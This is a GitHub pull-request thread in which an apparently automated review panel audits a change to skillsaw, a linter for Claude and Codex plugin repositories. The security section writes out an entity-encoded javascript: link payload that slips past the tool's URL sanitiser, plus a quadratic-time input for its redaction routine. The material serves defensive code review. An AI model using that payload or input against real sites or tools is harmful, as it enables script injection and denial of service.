  • Test coverage: parametrize the nine uncovered malformed-catalog branches (mirroring TestMalformedManifestShapes); pin the dual-manifest half of the hooks-json-valid/mcp-valid-json compatibility claim; unit-test distinct_plugin_dirs() and one formatter's stats; add the two inline block labels to test_tree_labels with a no-double-count assertion; start the new integration tests from copy_fixture("codex/broken", …) per .claude/rules/testing.md.
  • Add a generated_docs entry point and T15 to THREAT_MODEL.md covering stored XSS / Markdown injection via untrusted manifest metadata, listing _SAFE_URL_SCHEMES, _URL_FORBIDDEN, _table_cell, escAttr/escJsAttr and _unique_filenames as mitigations. Required actions 2 and 9 both exist because this boundary is undocumented.
  • Documentation polish: resolve the closed-vs-open-enum contradiction on policy.installation across the three maintenance-reference mirrors and the rule doc; repoint the PluginProvenance docstring away from the nonexistent DEVELOPMENT.md section; add the missing "## Codex plugins" note to command-name-format and marketplace-registration; update the agentskills and skills-agents-hooks category descriptions in both generator scripts; complete codex-plugin-json-valid's "How to fix"; re-wrap the six over-long blurbs; add CodexPluginNode to the maintenance reference; refresh docs/index.md's rule count.
  • Smaller code notes: make SKILL_REPO_TYPES/_CODEX_TYPES frozenset (currently one mutable set aliased across 8+ rule classes); take an unbound method in _safe_stat; drop the dead ./ branch; normalise installation-values to a list; declare a _BlockSource Protocol for _extract_hooks/_extract_mcp_servers; confirm the badge card's inclusion of APM-compiled plugin dirs is intended.
  • Correct the PR description's dir/** bullet — the variant sets are byte-identical across both refs, so no behavior changed there (the new assertion is still worthwhile regression protection). Write the squash message fresh from the PR body rather than from the Address review round N subjects.
  • Consider consolidating tests/test_codex_rules.py's eleven containment, seven escaping and seven installed-plugin classes into three, and add the two cited OpenAI URLs to the docs link check.

Generated by skillsaw-review-panel

- safe_display() redaction is a single-pass linear scan: the previous
  alternation regex backtracked quadratically on adversarial input, and
  an intermediate rebuild-per-@ variant was quadratic on @-storms. The
  scan covers scheme-full, scheme-relative, bare, and scp-style
  credential spellings, caps host inspection (treating an over-long
  host as host-like — the redacting direction), and bounds output
  length. An adversarial-runtime test pins linearity.
- The registration autofix declines a symlinked catalog: the lexical
  path is what the repository ships, and resolution moving it means the
  write lands on a file the entry does not describe.
- The Claude docs-extraction path routes homepage/repository through
  _safe_url(), matching the Codex path; the marketplace index heading
  and back-link fold through _table_cell(); a test covers javascript:
  and paren-bearing URLs on both paths in both renderers.
- agentskill-evals' wrong-shape violation carries the document's root
  line (JSON parsed as YAML for position), so baselines fingerprint on
  line content and survive message rewording — test included.
- The manifest-input $HOME bound computes inside the widening branch,
  guarded against an unresolvable home, with a regression test.
- safe_display() covers the last three bypassed diagnostics
  (source_type, plugin_structure entry names, openai.yaml parser
  errors); module layering scans class bodies again (they execute at
  import); repo-types documents the sourced-entry requirement for
  sibling catalogs; the hooks/MCP rule docs count a Claude marketplace
  listing as a Claude declaration; the remaining past-tense residue in
  source and test docstrings is re-tensed.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@not-stbenjam

Copy link
Copy Markdown
Collaborator

Fourth panel verdict addressed in c25cbbc + c924978

The headline this round was the panel's own: Architecture found no blocking issues and confirmed the provenance primitive is the right shape. All six required actions and the four fold-ins are done:

  1. ReDoS fixedsafe_display() redaction is a single-pass linear scan (no regex), covering scheme-full/relative/bare/scp-style credential spellings, with capped host inspection erring toward redaction and bounded output; the adversarial fixture (60 KB variants, runtime-asserted) is in. Building it caught a second quadratic variant before landing.
  2. Claude extraction path routes homepage/repository through _safe_url(); the test covers javascript: and paren-bearing URLs on both paths in both renderers.
  3. The registration autofix declines a symlinked catalog (lexical vs resolved comparison); regression test asserts the link target stays byte-identical.
  4. agentskill-evals' wrong-shape violation carries the root line (JSON parsed through the commented YAML reader for a real position), and the baseline test writes on the old message and asserts a reworded message stays suppressed.
  5. All named residue removed — the two false-history comments in formats/codex.py and context.py, the two re-tensed perf comments, and the five test docstrings.
  6. codex-openai-metadata keeps its name (maintainer decision): the prefix names the convention's origin, and the rule doc now states it fires wherever agents/openai.yaml appears.
    7-10. Path.home() guarded inside the widening branch with the requested test; the three bypassed diagnostics route through safe_display(); mp.name/docs.title fold through _table_cell(); both doc statements corrected (sourced-entry requirement for sibling catalogs; marketplace listings as Claude declarations).

Also in this push (c25cbbc): the nine verified connector findings against the new single-pass code, including its P1 — Codex-claimed directories now get hooks/MCP exclusively through the contained cluster, marker-less catalog claims get containers, the docs extractor publishes Codex plugin prose, and declared JSON configs cannot re-attach as prose. From the optional lists: formats/* module-layering glob, class-body import scanning restored, rule-impact SHA pin, --type invariance extended to manifest-less claims.

Validation: 3,456 passed / 1 xfailed / 94%; lint and make update clean; openai/plugins full-run canary green (prose 21, leaks 0, codex 0, 180 plugins); ai-helpers A+ exit 0.

@not-stbenjam not-stbenjam added the panel-review Trigger a multi-specialist review panel label Jul 27, 2026
@github-actions github-actions Bot removed the panel-review Trigger a multi-specialist review panel label Jul 27, 2026
The 1.0s wall-clock bound failed on the CI 3.11 job at 3.16s: coverage.py
has no sys.monitoring backend before 3.12, so every line of the linear
scan pays a Python-level trace call. The quadratic implementation this
test guards against took >14s bare on the same inputs, so a 10s bound
keeps an order of magnitude between pass and failure mode while giving
slow traced runners 3x headroom.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: c92497803e

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread src/skillsaw/context.py
Comment thread src/skillsaw/rules/builtin/hooks/json_valid.py
Comment thread src/skillsaw/docs/extractor.py Outdated
Comment thread src/skillsaw/rules/docs/codex-marketplace-json-valid.md Outdated
Comment thread src/skillsaw/docs/extractor.py Outdated
Comment thread src/skillsaw/context.py
Comment thread src/skillsaw/rules/builtin/content/broken_internal_reference.py
Comment thread src/skillsaw/docs/extractor.py
Comment thread src/skillsaw/docs/extractor.py
Comment thread src/skillsaw/lint_tree.py
@github-actions

Copy link
Copy Markdown
Contributor

Review Panel Verdict

Disposition: REQUEST_CHANGES

Advisory only — this panel does not gate merge. Fifth panel round, reviewing c924978. The change still belongs in core and the design is settled; what follows is about the last round's fixes, three of which did not land.


Specialist Findings

Architecture Reviewer

No blocking issues in the design. The PluginProvenance + single-pass plugin loop is the right shape, and formats/codex.py correctly keeps state-free manifest readers out of context.py.

  • BLOCKING — rules/builtin/codex/_helpers.py:41 (with :100). The round-4 rewrite is still super-linear: max(text.rfind(ch, emitted, at) …) runs per @, and emitted only advances when a redaction fires; _MAX_DISPLAY is applied after the scan. Measured 256 KB → 0.70 s, 512 KB → 3.7 s, 1 MB → 12.0 s. An 800 KB manifest name makes CodexPluginJsonValidRule.check() take 9.6 s. Action: apply the _MAX_DISPLAY slice immediately after _CONTROL_CHARS.sub(...), before redaction.
  • BLOCKING — docs/extractor.py:456 (_scoped_prose, new in c25cbbc). For a Codex plugin at the repo root, container = root and container.find(block_cls) walks the whole tree; is_relative_to(plugin_resolved) is vacuously true. Reproduced — a nested Claude plugin's other-cmd is published twice and misattributed to the root plugin. _extract_codex_skills (:546-558) solves exactly this with nearest-root matching; the two sibling extractors now disagree about ownership. Action: apply the same nearest-owning-root rule; add a docs fixture with a root-level Codex plugin plus a nested plugins/* plugin.
  • SUGGESTION — lint_tree.py:293. The loop seeds from context._codex_claim_set(), which is deliberately --type-invariant, so the override no longer suppresses Codex content — and unevenly. Reproduced under --type marketplace: plugins/foo (catalog-listed) gets a full CodexPluginNode subtree; plugins/bar — same manifest, same hooks.json, not listed — gets no node and is never linted. Also a private-member reach across a module boundary. Action: one public accessor on RepositoryContext, and update the __init__:310-318 contract comment either way.
  • SUGGESTION — marketplace/json_valid.py:55-78 and context.py:1103. Unresolved from last round. _has_claude_plugin still probes the filesystem for an ownership answer. The two have now diverged in a way that matters: provenance() asks safe_exists(plugin_dir / ".claude-plugin") with no containment check, while _has_claude_plugin has one. So a .claude-plugin symlinked out of the checkout adds claude to the record, simultaneously turning on Claude-format false positives and turning off the Codex-tightened checks. Action: replace the body with a provenance() read and move containment into provenance(); add a .claude-plugin -> ../outside fixture.
  • SUGGESTION — context.py:229, :1119. PluginProvenance.installed is written on every record and read by nobody — all ten consumers call is_codex_installed_plugin() directly. The docstring advertises the record as the single source for the one question nothing asks it, at the cost of a resolve + two containment tests per plugin. Action: delete the field, or route the consumers through it.
  • SUGGESTION — formats/codex.py:58-113. Unresolved. Six ecosystem-neutral filesystem shims in a Codex format module, imported by marketplace/json_valid.py:11, agentskills/_helpers.py:10, agentskills/unreferenced_files.py:111. This PR created paths.py for exactly this. Action: move them.
  • NOTE — agents/frontmatter.py:12, commands/{frontmatter,naming,sections}.py. All four import PluginNode and never use it, gating on .parent.parent instead while commands/name_format.py:36-39 uses find_parent. .parent.parent is correct for every current attach path, so polish, not a defect.
  • NOTE — docs/extractor.py:342-377. _OwnBlocks/_root_claimed_blocks remain a path-matching duplicate of the tree's ownership decision; root .mcp.json still attaches at lint_tree.py:232 before the plugin loop, so _add_codex_block is a no-op. The hooks/hooks.json half of wanted is now dead.
  • NOTE — context.py:1104. getattr(self, "marketplace_entries", {}) is still load-bearing; harmless only by a coincidence of the elif chain, with correctness resting on _provenance_cache.clear() at :493.

Verified fixed, not re-raised: _is_codex_only is now reachable (:54, :301); _add_block's seen_roles write is now deliberate and consumed by the content-paths guard at :542-549; the catalog-array walk is down to four sites with genuinely different per-entry logic.

Python Expert
  • BLOCKING — rules/builtin/codex/_helpers.py:65. Same defect, independently derived: exponential traded for quadratic, input still uncapped at scan time. Measured 64 KB → 0.09 s, 256 KB → 0.64 s, 512 KB → 2.09 s. End-to-end: an 800 KB plugins[0].name in a catalog → skillsaw lint --format json reports "duration_seconds": 5.378. Action: truncate first, or cap the backward window at at - 512 to match the forward host cap at :74; add a wall-clock regression test.
  • SUGGESTION — lint_tree.py:196. _add_openai_metadata does three safe_resolve() calls before the safe_is_file(path) gate at :204, once per SkillNode and once per CodexPluginConfigNode. Profiled: 3,300 calls, 1.114 s of build_lint_tree's 7.9 s; isolated comparison 0.307 s vs 0.011 s. Action: move the gate above the resolves — behavior is identical.
  • SUGGESTION — context.py:1654. safe_resolve(item / "SKILL.md") runs unconditionally before the .exists() check on the next line, and is only used on the Codex path. Base did one item.resolve() per candidate; HEAD does two — a new per-directory realpath() on the shared discovery path, paid by repos with no Codex content. Profiled at 10,202 calls / 1.38 s. Same at :1607.
  • SUGGESTION — context.py:1155. Half-fixed: codex_plugin_roots() memoizes, but codex_plugin_owning still does set(...) per call. 3,000 calls, 0.600 s cumulative. Same pattern at docs/extractor.py:315. Action: cache a frozenset, invalidate alongside _codex_roots.
  • SUGGESTION — lint_tree.py:542. any(claimed == extra_resolved for claimed, _ in seen_roles) is O(matched_files × tree_blocks) on a config-driven input — a fresh quadratic in the function that was deliberately optimized away from O(skills × plugins). Action: keep a parallel Set[Path].
  • SUGGESTION — lint_tree.py:400. marketplace_dir.resolve() is loop-invariant but evaluated per plugin; :295 and :311 use bare .resolve() where everything else uses safe_resolve, inside a function that sits outside the rule-execution-error guard.
  • SUGGESTION — context.py:1104. Corroborates Architecture on the getattr construction-order hazard; could not construct a currently-wrong answer, but the invariant is undocumented and one added early caller breaks it silently.
  • NOTESKILL_REPO_TYPES, _CODEX_TYPES, CODEX_PLUGIN_REPO_TYPES, CODEX_MARKETPLACE_REPO_TYPES are mutable set literals aliased as repo_types across 14 rule classes; make them frozenset. marketplace_registration.py:17 imports two helpers from skillsaw.context (a re-export with no __all__) and four from formats.codex three lines later. _helpers.py:181's candidate != resolved_root and not candidate.is_relative_to(...) — the first conjunct is dead. docs/extractor.py:227 takes a bare set annotation and mutates the caller's set as an unadvertised side effect.

Verified sound: the Path.home() guard (cli/_helpers.py:76-82); the RecursionError fix (a 200,000-deep marketplace.json lints in 13 ms as a parse error). Also checked, no findings: no bare or broad except in ~1,900 new lines (all 27 handlers name types and carry rationale); Python 3.9 compatibility; pyproject.toml packaging surface; unhashable-JSON crash paths; dataclass MRO for the inline block types.

Security & Supply Chain Reviewer
  • BLOCKING — rules/builtin/codex/_helpers.py:65. Third independent derivation. Measured safe_display("@"*n): 200k → 1.19 s, 400k → 4.85 s, 800k → 19.6 s, 1.6M → 78.0 s (clean 4x per doubling). End-to-end PoC: a 2 MB .codex-plugin/plugin.json nameskillsaw lint --type codex-plugin takes 2m17s wall, 2m14s user CPU for one warning; 8 MB extrapolates to ~35 min. Not regex backtracking, so the T13 SIGALRM control does not apply. Reachable from 16 named safe_display() sinks.
  • BLOCKING — docs/html_renderer.py:1210. escJsAttr() is emitted from a non-raw Python string, halving its backslashes: return escAttr(String(str).replace(/\/g, '\\').replace(/'/g, "\'"));. /\/g is unterminated; node --check on a real generated page fails. The whole IIFE fails to parse, so every skillsaw docs --format html page is a blank shell — and the hardening escJsAttr was added for never runs. Base 43654b2 parses clean. tests/test_docs.py only greps function escAttr(str) {.
  • BLOCKING — docs/extractor.py:517, sink docs/markdown_renderer.py:156. _safe_url() partitions on a literal : in the raw string, so javascript&#58;alert&#40;1&#41; — no colon, no parens, no _URL_FORBIDDEN char — passes untouched into [Homepage]({plugin.homepage}). python-markdown (what mkdocs, which this repo uses, runs) emits <a href="javascript&#58;alert&#40;1&#41;">, decoded by the HTML parser to javascript:alert(1). homepage is third-party in an aggregating catalog. markdown-it-py and GitHub sanitize it, so impact is renderer-dependent — but it is a straight bypass of the control's purpose.
  • SUGGESTION — docs/markdown_renderer.py:70 and :39. Two sinks in the same functions were left raw while their siblings were folded through _table_cell(): **Owner:** {mp.owner['name']} (untrusted marketplace.json) and # {docs.title}, which falls back to plugins[0].name. A newline in either injects block-level Markdown/HTML. Worth reconsidering the "description stays raw — it is prose by design" carve-out at :137 for marketplace pages, where the description belongs to a third-party entry.
  • NOTE — THREAT_MODEL.md §3. No generated_docs entry point and no threat covering skillsaw docs output, despite this PR shipping four mitigations for exactly that boundary. Two of the three blockers above live on it.

Verified sound: the registration autofix's symlink refusal genuinely fails closed (os.path.abspath vs safe_resolve, declining for a symlinked catalog or any symlinked parent); Path.home() guarded; safe_display() now on all three previously-bypassed diagnostics; _safe_url() applied on both extraction paths for literal-scheme payloads.

Attacked, no finding: path traversal and symlink escape (codex_declared_paths, codex_manifest_is_contained, _discover_codex_plugins._add, _codex_local_sources all check containment on resolved paths against both the repo root and the owning plugin, including plugins/a/.codex-plugin -> plugins/b/.codex-plugin; paths.py catches drive-relative and rootless-Windows spellings; escapes_root fails closed on OSError/RuntimeError/ValueError). _plugin_filename blocks /, \, :, .., control chars, over-long stems and Windows reserved names; _unique_filenames closes the case-folding collision. A 700-byte ruamel alias bomb (9^12) in agents/openai.yaml completed instantly. data_json escapes </>, closing </script> breakout. Supply chain: no new dependencies, no lockfile or Dockerfile change; test.yml/rule-impact.yml clone openai/plugins pinned to a commit SHA; rule-impact.yml is pull_request (not pull_request_target) with persist-credentials: false and SHA-pinned actions. No subprocess, shell=True, eval or exec anywhere in the diff.

QA Engineer
  • BLOCKING — tests/test_codex_rules.py:5946, guard at codex/marketplace_registration.py:415-418. The only test covering the symlink write-guard is vacuous. A symlinked catalog is not discovered at all, so check() returns [], fix() exits at if not pending: return results (:403), and :418 never executes — coverage confirms it is unreached, and target.read_bytes() == before is trivially true. Mutation-proof: deleting lines 415-418 entirely leaves the suite at 3456 passed, 1 xfailed — the author's exact reported number.
  • BLOCKING — tests/test_hook_rules.py:170, tests/test_mcp_rules.py:310. The PR's headline claim — "dual-manifest repositories report exactly what 0.17 did" — is implemented by the and context.is_codex_only_plugin(owner) half of both gates, and no test executes that half. Both compat tests build Claude-only plugins, so codex_plugin_owning(...) is None and the conjunction short-circuits on the first operand; the positive tests use Codex-only repos. The middle state is never reached, and no fixture under tests/fixtures/ has both markers in one directory. Mutation-proof: dropping the codex_only half of both gates leaves the suite at 3456 passed — every dual-manifest plugin would newly get a hooks matcher' must be a string and an MCP must be a non-empty string violation, silently.
  • BLOCKING — tests/test_codex_rules.py:5981. make test is red. make test runs pytest --cov; under those flags the suite gives 1 failed, 3455 passed, 1 xfailed in 553s — the < 1.0 wall-clock assertion does not survive coverage instrumentation (1.9 s–4.9 s across five runs, deterministic). Uninstrumented it is green at 3456 passed, which is why the PR reports that number — meaning make test was not run clean. Even uninstrumented, "a@" * 30000 takes 0.748 s against a 1.0 s budget, so it will also flake on a slow runner. Action: assert a scaling ratio (t4/t1 < 8), not an absolute bound.
  • SUGGESTION — hooks/json_valid.py:241. The unhashable-type crash guard is ungated and changes Claude-only behavior, so "exactly what 0.17 did" is not literally true. Verified against base: for a Claude-only plugin with "type": [], base raises TypeError: unhashable type: 'list', aborting HooksJsonValidRule and silencing hook validation for the whole repo; HEAD reports it. The fix is right, but TestUnhashableHookType only builds Codex repos, so the path where the crash mattered has no regression test.
  • SUGGESTION — codex/marketplace_registration.py:200-201, :450-452, :51-79. Three declared refusal conditions have zero line coverage (--cov-report=term-missing on the codex package: 95%, missing 76, 201, 350, 407, 418, 450, 452, 533, 536-537): unsafe path; already-listed name inside fix() (no test calls fix() on a crossed catalog); and a syntactically invalid catalog — test_malformed_marketplace_is_left_alone uses {"name": "broken", "plugins": {}}, which is valid JSON with a wrong shape.
  • SUGGESTION — tests/test_integration.py:3661, :3569, :3602; tests/test_formatters.py:172; all of tests/test_openai_metadata.py. Unresolved. Every new integration test builds its repo programmatically even though tests/fixtures/codex/broken already ships a catalog with an unregistered plugin ready to register. test_openai_metadata.py (499 lines) uses copy_fixture zero times.
  • SUGGESTION — tests/test_integration.py:3729. fix() still json.dumps(data, indent=2)s the whole document, and the test pins the reformat rather than byte-identity. Mitigating: the pre-existing Claude rule (marketplace/registration.py:191) does exactly the same, so this is precedent-consistent, not a new class of behavior. What is missing is any assertion that untouched entries survive byte-for-byte.
  • NOTE — this PR adds a new bail condition to a SAFE autofix (agentskill-name stands down under .codex/plugins/) but git diff -- tests/fixtures/autofix/ is empty, contrary to .claude/rules/development.md. Covered elsewhere, so bookkeeping. Separately, TestPanelFourRegressions names a review round in the public test surface and is a grab-bag of five unrelated tests — the two tests this panel found broken both live in it.

Checked and adequate: the non-finite-number refusal (parametrized at both parse and serialize boundaries), duplicate-JSON-key refusal (byte-identity + fixable is False), duplicate-name, directory-name-fallback, non-kebab-name, excluded-manifest, installed-plugin (.codex/plugins/) refusals, and the RecursionError path. Autofix idempotency and re-lint-to-zero are satisfied at unit and CLI level; line-count invariance is inapplicable to an append-an-entry fix. BOM and CRLF preservation are pinned end-to-end. codex/clean and codex/broken are wired into the CLEAN_FIXTURES/BROKEN_FIXTURES sweeps.

Technical Writer
  • SUGGESTION — rules/docs/codex-marketplace-json-valid.md:64 vs .{apm,agents,claude}/skills/skillsaw-maintenance/references/codex.md:74-81. Two skillsaw-authored documents make contradictory factual claims about the same upstream: the rule doc says "both value sets are open-ended upstream"; the maintenance reference says plugins.md "publishes exactly these three as a closed enum". Flagged last round, unfixed. A maintainer reading the reference concludes the rule under-enforces; a user reading the rule doc concludes upstream permits anything. (Ecosystem resolved the underlying fact — see below.)
  • SUGGESTION — rules/docs/command-name-format.md:28, rules/docs/marketplace-registration.md:38. Both rules gained a Codex stand-down in this PR (commands/name_format.py:38-41, marketplace/registration.py:102-105) but neither doc has the "## Codex plugins" section that six sibling rules with the identical stand-down have. Confirmed absent in the published pages too. marketplace-registration is the surprising one: the plugin is still required to be registered — in the Codex catalog, by codex-marketplace-registration. Flagged last round, unfixed.
  • SUGGESTION — rules/docs/codex-plugin-json-valid.md:33. "How to fix" still omits five violation classes the rule emits: author type (error), interface must be an object (warning), empty path (error), non-string path field (warning), and the file-vs-directory kind mismatch pair. The last is the least self-explanatory — it fires on a path that exists and is contained.
  • SUGGESTION — context.py:221-225. The PluginProvenance docstring says "adding its evidence probe to RepositoryContext._compute_provenance". No such method exists — grep -rn "_compute_provenance" src/ tests/ docs/ returns only this line. The method is provenance() (:1081), which the rules file it points at names correctly. Last round's version of this finding (a dead DEVELOPMENT.md pointer) was fixed, but the replacement introduced a nonexistent symbol in the same sentence — and this is the one docstring a maintainer adding the next ecosystem is steered to.
  • SUGGESTION — maintenance reference codex.md:63 (all three byte-identical mirrors). Lists CodexPluginConfigNode and CodexMarketplaceConfigNode but omits CodexPluginNode (lint_target.py:218) — the container node every prose-attachment and provenance gate hangs off. Flagged last round, unfixed.
  • SUGGESTION — PR description, "Behavior changes to existing rules". The dir/** bullet is not a behavior change: _pattern_variants returns the same variant set for every input at 43654b2:context.py:43-46 and c924978:context.py:74-77 (now built as a set and sorted, changing only iteration order inside an any()), and the base docstring already recorded the rule. The docs/configuration.md:181-184 addition is fine — it newly documents long-standing behavior. Flagged last round, unfixed.
  • SUGGESTION — DEVELOPMENT.md:47. The SCALE=tiny|small|medium|large list omits the codex-marketplace scale this PR adds to benchmarks/genrepo.py:20-23 and advertises in the description. DEVELOPMENT.md is the only place the list is enumerated for a human, so the scale a reviewer would want for the Codex discovery path is undiscoverable.
  • SUGGESTION — THREAT_MODEL.md:52, :67. Corroborates Security: codex_plugin_inputs omits the skillsaw docs sink, even though html_renderer.py:757, :776, :804 swap escAttr for escJsAttr on p.name, r.plugin and p.category — manifest-derived values interpolated into an onclick="navigateTo('…')" JS string. T14 covers credential disclosure through lint reports, not injection through generated docs.
  • NOTE — six new "## Codex plugins" blurbs each contain one unwrapped line (172, 133, 129, 128, 127, 119 chars) where the substituted per-rule clause ran past the fill column; every other prose line in those files is under 75. Mirrored into docs/rules/*.md. plugin-naming.md:32 and plugin-readme.md:37 additionally read as non-sequiturs after the connective, and codex-plugin-json-valid is unbacticked at the former. Flagged last round, unfixed. Separately, THREAT_MODEL.md:13 and docs/index.md:18 say "~40" / "more than 40" rules; this PR takes the count 63 → 68.

Verified clean: generated-file freshness — rebuilt scripts/generate-site-content.py and scripts/generate-docs.py in a throwaway clone with a fresh venv for a zero-byte diff, so all 60 docs/rules/*.md, docs/rules/index.md, docs/rules/codex.md, docs/cli.md and mkdocs.yml are in sync at c924978; skillsaw init output is byte-identical to .skillsaw.yaml.example; skillsaw badge --large reproduces .skillsaw-card.svg. Last round's generator-script category descriptions are fixed. docs/repo-types.md's sibling-catalog predicate now matches _looks_like_codex_catalog, its .codex/plugins/* stand-down table matches the five rules' guards, and its skillsaw docs field list matches _extract_codex_plugin. hooks-json-valid.md and mcp-valid-json.md now both state that a Claude marketplace listing counts as a Claude declaration. plugin-json-required.md, marketplace-json-valid.md, content-broken-internal-reference.md, agentskill-structure.md, agentskill-evals.md and agentskill-unreferenced-files.md all match their implementations. docs/pre-commit.md is fully rewritten for the files: . change including the deleted-files-only gap. The "Ecosystem provenance" section is present in all six rules-file mirrors. README.md's update is proportionate. All five new rule docs follow the house structure.

Ecosystem Reviewer

Scope verdict: IN CORE. OpenAI-vendored, and adoption is not marginal — GitHub code search returns 1,228 repos with .codex-plugin/plugin.json, 1,536 with .agents/plugins/marketplace.json, and 3,028 with agents/openai.yaml; openai/plugins is at 4,765 stars, pushed today. Clears the Claude Code / agentskills.io bar comfortably. No plugin redirect; not relitigating.

  • SUGGESTION — maintenance reference codex.md:74-78 (all three mirrors). Resolves the open-vs-closed question the last three rounds left hanging, and finds the sync note attributes the enum to the wrong document. developers.openai.com/plugins/build/plugins.md says verbatim: "Use policy.installation values such as AVAILABLE, INSTALLED_BY_DEFAULT, or NOT_AVAILABLE" — an open list. The closed enum is in openai/codex's plugin-json-spec.md:177: "Allowed values: NOT_AVAILABLE, AVAILABLE, INSTALLED_BY_DEFAULT". The DEFAULT_AUTHENTICATION_VALUES entry two lines below gets exactly this right and should be the model. The runtime behavior (WARNING + configurable) is the correct intersection of two disagreeing sources and needs no change — only the provenance note is wrong, and a maintainer following it on the next sync checks the wrong file.
  • SUGGESTION — codex/plugin_json_valid.py:96-104. .codex-plugin/ with no plugin.json produces a hard ERROR that fails CI under the default fail-on: error. Real hit: mikersays/mikersays-plugins keeps a legacy .codex-plugin/marketplace.json + hooks.json at the repo root with the real catalog at .agents/; there is no root plugin there at all, so the ERROR names a defect that does not exist while codex-plugin-structure already emits two accurate WARNINGs. The only ERROR-severity case in the sweep where the message misdescribes the repo.
  • SUGGESTION — codex/plugin_json_valid.py:45 / maintenance reference codex.md:98-125. Three documented plugin-json-spec.md:206-211 constraints are neither implemented nor listed under "Deliberate non-checks", so a maintainer cannot tell whether they were weighed or overlooked: required real values for name/version/description/author.name/interface.*; screenshots as PNG under ./assets/; absolute https:// for websiteURL/privacyPolicyURL/termsOfServiceURL. All three are 180/180 conformant on openai/plugins, so warnings would be FP-free. Counter-evidence worth recording alongside: defaultPrompt should stay unchecked — 4/180 official plugins declare it as a string rather than an array and 1 exceeds the 128-char cap, which is the strongest argument the current hedging strategy is right.
  • NOTE — codex/marketplace_registration.py:456-473. fix() re-serializes the whole catalog and hardcodes "category": "Productivity" for a plugin whose category it cannot know. Acceptable under AutofixConfidence.SUGGEST; flagged so the reflow is a known property.

Verified clean, no action: codex-openai-metadata's rule doc now explains that the codex- prefix names the convention's origin, not a repo type — the naming item is closed. Spec modeling, field-by-field against live sources: openai.yaml's top-level allow-set {interface, policy, dependencies} matches validate_plugin.py:483-488 exactly; _INTERFACE_STRINGS matches :493-506; policy carrying only allow_implicit_invocation matches :542-548; _BRAND_COLOR matches HEX_COLOR_RE (:25, applied :522-527); dependencies.tools keys match learn.chatgpt.com; marketplace source types and required fields match; authentication ON_INSTALL/ON_USE matches plugin-json-spec.md:180. policy.installation is correctly absent from the openai.yaml model — it belongs to marketplace entries only, which is the actual resolution of the prior round's confusion. False-positive sweep: 0 codex-* violations across openai/plugins (180 plugins, 582 skills); all five rule families confirmed live by planting defects into a copy; six third-party Codex repos produced only spec-backed true positives. Backward compatibility: all five rules default to enabled: auto gated on marker-detected types, so Claude-only repos run zero of them (openshift-eng/ai-helpers: 43 rules, byte-identical output on base and HEAD). On openai/plugins the branch is a net FP reduction versus base — 640 fewer agentskill-unreferenced-files, 6 fewer content-broken-internal-reference (app:// connector URIs), 25 Claude-format FPs removed by provenance gating (plugin-json-required 6→0, agent-frontmatter 6→0, command-frontmatter 10→0) — with zero newly-introduced violations of any pre-existing rule.

Slopinator Reviewer
  • BLOCKING — tests/test_codex_rules.py:5982. """A 60 KB value … — the regex it replaces was quadratic.""" safe_display and the whole rules/builtin/codex/ package are new in this PR (git cat-file -e 43654b2:src/skillsaw/rules/builtin/codex/_helpers.py → does not exist). "The regex it replaces" is a branch-only intermediate — a fact about round twenty, not about the code.
  • BLOCKING — tests/test_codex_rules.py:3090. """.mcp.json was hard-coded, so inline and custom-path servers were attributed to a file that need not exist."""— past tense narrating an implementation that only existed mid-branch. **Replace with**: "An inline or custom-path server is attributed to the file that actually declares it, never to a.mcp.json` that need not exist."
  • BLOCKING — tests/test_codex_rules.py:4283. """… so searching both returned the Codex node's blocks twice.""" — the second clause narrates the duplicate-listing bug a review round found. Replace with: "… so searching both must not list the Codex node's blocks twice."
  • BLOCKING — tests/test_codex_rules.py:375. """… whose Path.resolve() raised on the symlink loop.""" — past tense about a crash that never shipped. The adjacent test at :391 states the same class of fact correctly in present tense, so this is an inconsistency within one file.
  • BLOCKING — context.py:1072-1073. "… and rebuilding the claim list on each call made repository detection quadratic in the catalog size."made is past tense about a non-memoized version that never shipped. This is one of the two perf comments a prior panel flagged for re-tensing; the sibling at :911 was fixed and this one was missed. Replace made with would make.
  • BLOCKING — tests/test_codex_rules.py:5919. class TestPanelFourRegressions: — the only round-keyed class among ~180 otherwise behavior-named ones in this file. Its five tests share no subject: baseline fingerprint stability, autofix vs. a symlinked catalog, $HOME widening, safe_display linearity, URL neutralization. The only thing grouping them is which review round produced them.
  • NOTE — codex/marketplace_registration.py:308. # The name is deliberately NOT credit — see above — but points at the enclosing method's own docstring twelve lines up. Conversational filler; drop the interjection.

Swept and clean: all five new rule docs and their docs/rules/ twins — concrete, spec-anchored, house style, no vocabulary tells or rule-of-three padding. The 130-line maintenance reference is specific to the point of citing validate_plugin.py:25 and :522-527; its "Deliberate non-checks" section states what upstream requires and why skillsaw declines, and its note that the rendered HTML spec page "has produced invented constraints (an ON_FIRST_USE value that appears nowhere in either source)" is forward-looking guidance, not archaeology. docs/repo-types.md (+77), README.md, docs/pre-commit.md, and the rules-file mirrors match base conventions and em-dash density. All nine new module docstrings are terse and factual — the previously-flagged phantom-history comment in formats/codex.py is genuinely gone, and what remains ("Kept out of context.py deliberately: these are state-free readers…") is architectural rationale. apply_excludes's "previously excluded paths are not rediscovered" is a live contract invariant — keep. The "would break previously green dual repositories" comments in hooks/json_valid.py:127 and mcp/valid_json.py:26 are about users' repos at 0.17, verifiable and forward-looking — keep. All 816 added source comment lines grepped for change announcements, frozen benchmark numbers and prose restatement; the only frozen measurement is context.py:1072 above. The PR body is factual and quantified. Per-commit subjects (Address review round twelve, …) are not flagged: this repo squash-merges, so they never reach permanent history.


Panel Synthesis

The headline is that round four's security fixes are not in effect, and one of them broke a shipped feature. Three specialists independently re-derived the ReDoS the last panel blocked on, and I reproduced all four items below myself before writing this. That pattern — a fix that reads correct, ships, and is confirmed by a test that cannot fail — is the thing to fix about the process, not just the code.

1. skillsaw docs --format html produces a dead page on this branch. escJsAttr() — added last round to close the JS-string-in-HTML-attribute context — is emitted from a non-raw Python triple-quoted string, so its backslashes are halved on the way out. Emitted JS:

return escAttr(String(str).replace(/\/g, '\\').replace(/'/g, "\'"));

